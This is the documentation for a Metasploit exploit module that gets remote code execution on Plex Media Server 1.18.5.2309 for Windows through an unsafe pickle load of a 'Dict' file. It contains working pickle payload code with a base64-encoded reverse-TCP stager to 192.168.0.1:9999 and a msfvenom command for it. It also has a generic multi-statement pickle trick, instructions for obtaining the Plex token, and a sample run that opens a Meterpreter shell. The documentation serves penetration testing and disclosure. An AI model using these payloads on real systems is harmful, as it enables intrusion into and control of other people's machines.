## Vulnerable Application
This module exploits an authenticated Python unsafe `pickle.load` of a
`Dict` file. An authenticated attacker can create a photo library and
add arbitrary files to it. After setting the Windows only Plex
variable `LocalAppDataPath` to the newly created photo library, a file
named `Dict` will be unpickled, which causes an RCE as the user who
started Plex.
If an exploit fails, or is cancelled, `Dict` is
left on disk, a new `ALBUM_NAME` will be required as subsuquent writes
will make `Dict-1`, and not execute.
A vulnerable version of the software can be downloaded from
[uptodown.com](https://plex-media-server.en.uptodown.com/windows/versions),
specifically [1.18.5.2309](https://plex-media-server.en.uptodown.com/windows/download/2177216)
is vulnerable and used for developing the module.
The plex server needs to be claimed by an account (free is ok), and the module `PLEX_TOKEN` option
needs permission to create a library, and upload files to it.
### Pickle Stub
This exploit requires a python pickle file which can be generated with the following
code:
```
import pickle
class EP(object):
def __init__(self):
pass
def __reduce__(self):
# for generating an approximately correct size and content, we use
# msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
# that payload is then added after runsource.
# The original pre-meterp return would be
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '', 'exec')",))
return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '', 'exec')",))
e = EP()
pickle.dumps(e)
```
### Pickle Gotchas
All the examples of Evil Pickle attacks seem to call one command/function.
[1](https://github.com/fhightower/evil-pickle/blob/master/evil_pickle_writer.py#L17),
[2](https://medium.com/@abhishek.dev.kumar.94/sour-pickle-insecure-deserialization-with-python-pickle-module-efa812c0d565),
[3](https://blog.nelhage.com/2011/03/exploiting-pickle/),
[4](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)
However, @acammack-r7 suggested a way around this. using the `InteractiveInterpreter`.
Credit to them for this original code:
```
>>> class Bad(object):
... def __reduce__(self):
... return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '', 'exec')",))
...
>>> x = Bad()
>>> s = pickle.dumps(x)
>>> pickle.loads(s)
ok
False
```
## Verification Steps
1. Install the application on an internet-connected host
2. Complete configuration in the browser that pops up
3. Register/Connect it to a Plex account (Free or Plex Pass)
4. Start msfconsole
5. Do: ```use windows/http/plex_unpickle_dict_rce```
6. Do: ```run```
7. You should get a shell.
## Options
### ALBUM_NAME
Name of the photo album to create. Default is random 6 character.
### LIBRARY_PATH
The path to write the photo library to. Must be valid. Default is `C:\\Users\\Public`
### PLEX_TOKEN
The `X-Plex-Token` value from requests from an authenticated session.
There are multiple ways to obtain this value. The easiest is most likely opening the
Console on your web browser (F12) and typing `window.localStorage.myPlexAccessToken`.
However, it can also be obtained from
[plex library files](https://support.plex.tv/articles/204059436-finding-an-authentication-token-x-plex-token/)
or by following [this comment](https://github.com/rapid7/metasploit-framework/pull/13741#issuecomment-649076121)
### REBOOT_SLEEP
Amount of seconds to sleep waiting on the server to reboot. In testing `10` seemed to be OK, default is `15`.
## Scenarios
### Plex 10.0.16299 on Windows 10 16299
```
[*] Processing plex.rb for ERB directives.
resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce
resource (plex.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (plex.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7
PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7
resource (plex.rb)> set verbose true
verbose => true
msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Gathering Plex Config
[*] Server Name: EXPLOITABLE -win10
[+] Server OS: Windows (10.0 (Build 16299))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[*] Using album name: TAtPGj
[*] Adding new photo library
[+] Created Photo Library: 163
[*] Adding pickled Dict to library
[*] Changing AppPath
[*] Restarting Plex
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400
[*] Sleeping 15 seconds for server restart
[*] Cleanup Phase: Reverting changes from exploitation
[*] Changing AppPath
[*] Restarting Plex
[*] Deleting Photo Library
meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer : win10prolicensed
OS : Windows 10 (Build 16299)
Architecture : x64
System Language : en_US
Meterpreter : python/windows
meterpreter > pwd
\\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system
```